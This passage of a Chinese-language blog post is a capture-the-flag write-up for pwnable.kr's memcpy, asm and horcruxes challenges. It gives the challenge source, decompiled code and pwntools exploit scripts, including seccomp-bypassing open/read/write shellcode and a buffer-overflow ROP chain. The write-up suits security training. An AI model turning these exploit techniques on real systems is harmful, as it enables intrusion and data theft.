printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");
unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t sizes[10];
int i=0;
// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}
sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);
// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}
printf("thanks for helping my experiment!\n");
printf("flag : [erased here. get it from server]\n");
return 0;
}
可以看出来movntps指令需要16字节对齐。最终解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
chunk_header = 4
conn = remote('pwnable.kr', 9022)
for i in range(3, 13):
conn.recvuntil(b' : ')
n = 2 ** (i + 1) - chunk_header
conn.sendline(str(n).encode())
conn.recvuntil(b'experiment!\n')
flag = conn.recvline().decode().strip()
log.info(f"{flag}")
1-15 asm
该是shellcode的入门题目,先看目标源码asm.c。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
明显该题目使用seccomp限制了系统调用的数量,采用orw技术轻易解决。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='asm', port=2222, password='guest')
filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
proc = shell.process(["nc", "0", "9026"])
proc.recvuntil(b'shellcode: ')
# https://docs.pwntools.com/en/stable/shellcraft.html
shellcode = shellcraft.open(filename)
shellcode += shellcraft.read('rax', 'rsp', 32)
shellcode += shellcraft.write(1, 'rsp', 32)
proc.sendline(asm(shellcode))
flag = proc.recvline().decode().strip()
log.success(f"flag: {flag}")
1-16 horcruxes
该题目未提供源码,但是不影响解决题目进度。先看反编译内容
🔖080413fb int32_t main(int32_t argc, char** argv, char** envp)
int32_t* var_10 {Frame offset -10}
void* const __return_addr_1 {Frame offset -4}
void* const __return_addr {Frame offset 0}
int32_t argc {Frame offset 4}
char** argv {Frame offset 8}
char** envp {Frame offset c}
int32_t eax_2 {Register eax}
080413fb {
080413fb void* const __return_addr_1 = __return_addr;
08041409 int32_t* var_10 = &argc;
08041427 setvbuf(*(uint32_t*)stdout, nullptr, 2, 0);
0804143e setvbuf(*(uint32_t*)stdin, nullptr, 2, 0);
0804144b alarm(0x3c);
08041453 hint();
08041458 init_ABCDEFG();
08041462 int32_t eax_2 = seccomp_init(0);
0804147c seccomp_rule_add(eax_2, 0x7fff0000, 0xad, 0);
08041490 seccomp_rule_add(eax_2, 0x7fff0000, 5, 0);
080414a7 seccomp_rule_add(eax_2, 0x7fff0000, 0x127, 0);
080414bb seccomp_rule_add(eax_2, 0x7fff0000, 3, 0);
080414cf seccomp_rule_add(eax_2, 0x7fff0000, 4, 0);
080414e6 seccomp_rule_add(eax_2, 0x7fff0000, 0xfc, 0);
080414f4 seccomp_load(eax_2);
080414fc ropme();
0804150a return 0;
080413fb }
08041866 int32_t hint()
08041866 {
08041866 puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
080418a1 return puts("Find all horcruxes, and destroy it!\n");
08041866 }
🔖08041698 uint32_t init_ABCDEFG()
uint32_t seed {Frame offset -14}
int32_t fd {Register eax}
int32_t first_ge_0xcafebabe {Register eax}
int32_t second_ge_0xcafebabe {Register eax}
int32_t third_ge_0xcafebabe {Register eax}
int32_t fourth_ge_0xcafebabe {Register eax}
int32_t fifth_ge_0xcafebabe {Register eax}
int32_t sixth_ge_0xcafebabe {Register eax}
int32_t seventh_ge_0xcafebabe {Register eax}
uint32_t result {Register eax}
int32_t first_num {Register edx}
int32_t second_num {Register edx}
int32_t third_num {Register edx}
int32_t fourth_num {Register edx}
int32_t fifth_num {Register edx}
int32_t sixth_num {Register edx}
int32_t seventh_num {Register edx}
08041698 {
08041698 int32_t fd = open("/dev/urandom", 0);
080416d8 uint32_t seed;
080416d8
080416d8 if (read(fd, &seed, 4) != 4)
080416d8 {
080416fc puts("/dev/urandom error");
080416f1 exit(0);
080416f1 /* no return */
080416d8 }
080416d8
080416fc close(fd);
0804170b srand(seed);
08041718 int32_t first_num = rand() * 0xdeadbeef;
08041724 int32_t first_ge_0xcafebabe;
08041724 (uint8_t)first_ge_0xcafebabe = first_num >= 0xcafebabe;
08041734 a = first_num - (uint32_t)(uint8_t)first_ge_0xcafebabe * 0xcafebabe;
0804173f int32_t second_num = rand() * 0xdeadbeef;
0804174b int32_t second_ge_0xcafebabe;
0804174b (uint8_t)second_ge_0xcafebabe = second_num >= 0xcafebabe;
0804175b b = second_num - (uint32_t)(uint8_t)second_ge_0xcafebabe * 0xcafebabe;
08041766 int32_t third_num = rand() * 0xdeadbeef;
08041772 int32_t third_ge_0xcafebabe;
08041772 (uint8_t)third_ge_0xcafebabe = third_num >= 0xcafebabe;
08041782 c = third_num - (uint32_t)(uint8_t)third_ge_0xcafebabe * 0xcafebabe;
0804178d int32_t fourth_num = rand() * 0xdeadbeef;
08041799 int32_t fourth_ge_0xcafebabe;
08041799 (uint8_t)fourth_ge_0xcafebabe = fourth_num >= 0xcafebabe;
080417a9 d = fourth_num - (uint32_t)(uint8_t)fourth_ge_0xcafebabe * 0xcafebabe;
080417b4 int32_t fifth_num = rand() * 0xdeadbeef;
080417c0 int32_t fifth_ge_0xcafebabe;
080417c0 (uint8_t)fifth_ge_0xcafebabe = fifth_num >= 0xcafebabe;
080417d0 e = fifth_num - (uint32_t)(uint8_t)fifth_ge_0xcafebabe * 0xcafebabe;
080417db int32_t sixth_num = rand() * 0xdeadbeef;
080417e7 int32_t sixth_ge_0xcafebabe;
080417e7 (uint8_t)sixth_ge_0xcafebabe = sixth_num >= 0xcafebabe;
080417f7 f = sixth_num - (uint32_t)(uint8_t)sixth_ge_0xcafebabe * 0xcafebabe;
08041802 int32_t seventh_num = rand() * 0xdeadbeef;
0804180e int32_t seventh_ge_0xcafebabe;
0804180e (uint8_t)seventh_ge_0xcafebabe = seventh_num >= 0xcafebabe;
0804181e g = seventh_num - (uint32_t)(uint8_t)seventh_ge_0xcafebabe * 0xcafebabe;
08041858 uint32_t result = g + a + b + c + d + e + f;
0804185a sum = result;
08041865 return result;
08041698 }
🔖0804150b int32_t ropme()
void buf {Frame offset -78}
int32_t choice {Frame offset -14}
int32_t fd {Register eax}
0804150b {
0804150b printf("Select Menu:");
0804153d int32_t choice;
0804153d __isoc99_scanf("%d", &choice);
08041545 getchar();
08041545
08041555 if (choice == a)
08041557 A();
08041555 else if (choice == b)
0804156e B();
0804156c else if (choice == c)
08041585 C();
08041583 else if (choice == d)
0804159c D();
0804159a else if (choice == e)
080415b3 E();
080415b1 else if (choice == f)
080415ca F();
080415c8 else if (choice != g)
080415df {
080415f5 printf("How many EXP did you earned? : ");
08041604 void buf;
08041604 gets(&buf);
08041604
08041623 if (atoi(&buf) == sum)
08041623 {
08041631 int32_t fd = open("/home/horcruxes_pwn/flag", 0);
08041650 *(uint8_t*)(&buf + read(fd, &buf, 0x64)) = 0;
0804165c puts(&buf);
0804166a close(fd);
08041677 exit(0);
08041677 /* no return */
08041623 }
08041623
08041686 puts("You'd better get more experience to kill Voldemort");
080415df }
080415df else
080415e1 G();
080415e1
08041697 return 0;
0804150b }
0804129d int32_t A()
0804129d {
0804129d return printf("You found "Tom Riddle's Diary" (EXP +%d)\n", a);
0804129d }
080412cf int32_t B()
080412cf {
080412cf return printf("You found "Marvolo Gaunt's Ring" (EXP +%d)\n", b);
080412cf }
08041301 int32_t C()
08041301 {
08041301 return printf("You found "Helga Hufflepuff's Cup" (EXP +%d)\n", c);
08041301 }
08041333 int32_t D()
08041333 {
08041333 return printf("You found "Salazar Slytherin's Locket" (EXP +%d)\n", d);
08041333 }
08041365 int32_t E()
08041365 {
08041365 return printf("You found "Rowena Ravenclaw's Diadem" (EXP +%d)\n", e);
08041365 }
08041397 int32_t F()
08041397 {
08041397 return printf("You found "Nagini the Snake" (EXP +%d)\n", f);
08041397 }
080413c9 int32_t G()
080413c9 {
080413c9 return printf("You found "Harry Potter" (EXP +%d)\n", g);
080413c9 }
最终解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import c_int
context.arch = 'i386'
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='horcruxes', port=2222, password='guest')
# (.venv) ➜ horcruxes git:(master) ✗ ROPgadget --badbytes "0a" --only "pop|ret" --binary horcruxes
# Gadgets information
# ============================================================
# 0x08041022 : pop ebx ; ret
# 0x0804100e : ret
# 0x080411f6 : ret 0x2d9b
# 0x080411b6 : ret 0x2ddb
# 0x08041831 : ret 0x838b
# 0x08041554 : ret 0xa75
#
# Unique gadgets found: 6
proc = shell.process(["nc", "0", "9032"])
# 0804150b int32_t ropme()
#
# void buf {Frame offset -78}
# int32_t choice {Frame offset -14}
# int32_t fd {Register eax}
#
# 0804150b {
# 08041527 printf("Select Menu:");
# 0804153d int32_t choice;
# 0804153d __isoc99_scanf(&data_8042151, &choice);
# 08041545 getchar();
# 08041545
# 08041555 if (choice == a)
# 08041557 A();
# 08041555 else if (choice == b)
# 0804156e B();
# 0804156c else if (choice == c)
# 08041585 C();
# 08041583 else if (choice == d)
# 0804159c D();
# 0804159a else if (choice == e)
# 080415b3 E();
# 080415b1 else if (choice == f)
# 080415ca F();
# 080415c8 else if (choice != g)
# 080415df {
# 080415f5 printf("How many EXP did you earned? : ");
# 08041604 void buf;
# 08041604 gets(&buf);
# 08041604
# 08041623 if (atoi(&buf) == sum)
# 08041623 {
# 08041631 int32_t fd = open("/home/horcruxes_pwn/flag", 0);
# 08041650 *(uint8_t*)(&buf + read(fd, &buf, 0x64)) = 0;
# 0804165c puts(&buf);
# 0804166a close(fd);
# 08041677 exit(0);
# 08041677 /* no return */
# 08041623 }
# 08041623
# 08041686 puts("You'd better get more experience…");
# 080415df }
# 080415df else
# 080415e1 G();
# 080415e1
# 08041697 return 0;
# 0804150b }
padding = b'A' * 0x78
# 0804129d int32_t A()
A = 0x0804129d
# 080412cf int32_t B()
B = 0x080412cf
# 08041301 int32_t C()
C = 0x08041301
# 08041333 int32_t D()
D = 0x08041333
# 08041365 int32_t E()
E = 0x08041365
# 08041397 int32_t F()
F = 0x08041397
# 080413c9 int32_t G()
G = 0x080413c9
# 0804150b int32_t ropme()
ropme = 0x0804150b
stage1 = flat(padding, A, B, C, D, E, F, G, ropme,endianness='little', word_size=32, sign=False)
proc.recvuntil(b'Select Menu:')
proc.sendline(b'1')
proc.recvuntil(b'How many EXP did you earned? :')
proc.sendline(stage1)
sum = 0
for i in range(7):
proc.recvuntil('EXP +')
sum += int(proc.recvline()[:-2])
sum = c_int(sum).value
proc.recvuntil(b'Select Menu:')
proc.sendline(b'1')
proc.recvuntil(b'How many EXP did you earned? :')
proc.sendline(str(sum).encode())
flag = proc.recvline().decode().strip()
log.success(f"flag: {flag}")
参考
https://pwnable.kr
文档信息
- 本文作者:BinRacer
- 本文链接:https://BinRacer.github.io/2025/09/27/pwnable.kr-ToddlerBottle%E5%85%B6%E4%BA%8C/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)